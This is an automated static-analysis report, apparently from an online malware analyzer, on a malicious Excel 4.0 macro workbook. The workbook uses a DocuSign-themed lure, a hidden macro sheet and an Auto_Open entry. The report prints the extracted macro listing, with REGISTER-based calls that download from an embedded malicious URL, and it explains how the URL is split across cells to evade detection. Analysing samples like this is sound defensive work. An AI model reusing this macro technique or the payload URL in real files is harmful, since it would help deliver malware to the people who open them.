Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 000497779dacbb24…

MALICIOUS

Office (OLE)

102.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2021-02-20
MD5: e36140bc7c3ddcd2637f22da2068ee0d SHA-1: ae4801ac8d8ac4ee7da69be979d398d3c85e7ae5 SHA-256: 000497779dacbb2458d955e4e2dbe29647eba95f23b5a77220b99fc1302cebdb
222 Risk Score

Heuristics 6

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gammasolutionsltd.com/nplwhk/999999.png Referenced by macro
    • http://gammasolutionsltd.com/nplwhk/999999.png�Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2081 bytes
SHA-256: c32270e5fd4a15776820e2d4d6f5f4920d18d883470935419839449365a9c30d
Preview script
First 1,000 lines of the extracted script
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  DocuSign
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -    8 A
' 0018     32 LABEL : Cell Value, String Constant - dontdoit len=9 ptgNum FLOAT -676986879.000000 
' 0018     20 LABEL : Cell Value, String Constant - Dtruh len=0 
' 0018     30 LABEL : Cell Value, String Constant - okwell len=9 ptgNum FLOAT 124715010.000000 
' 0018     29 LABEL : Cell Value, String Constant - plzno len=9 ptgNum FLOAT -709623808.000000 
' 0018     22 LABEL : Cell Value, String Constant - Trolase len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  DocuSign!A1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'    8 A,A1122,"REGISTER(B1127&B1128,B1131&B1132&B1133,"JJCCJJ","Dtruh",,1,9)",""
'    8 A,A1123,"Dtruh(0,B1126,B1140&B1124&B1125,0,0)",""
'    8 A,A1124,"REGISTER(B1134,B1135&B1136,"JJCCCCJ","Trolase",,1,9)",""
'    8 A,A1125,"Trolase(0,B1137&B1138,B1140&B1124&B1125,"",0,0)",""
'    8 A,A1128,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.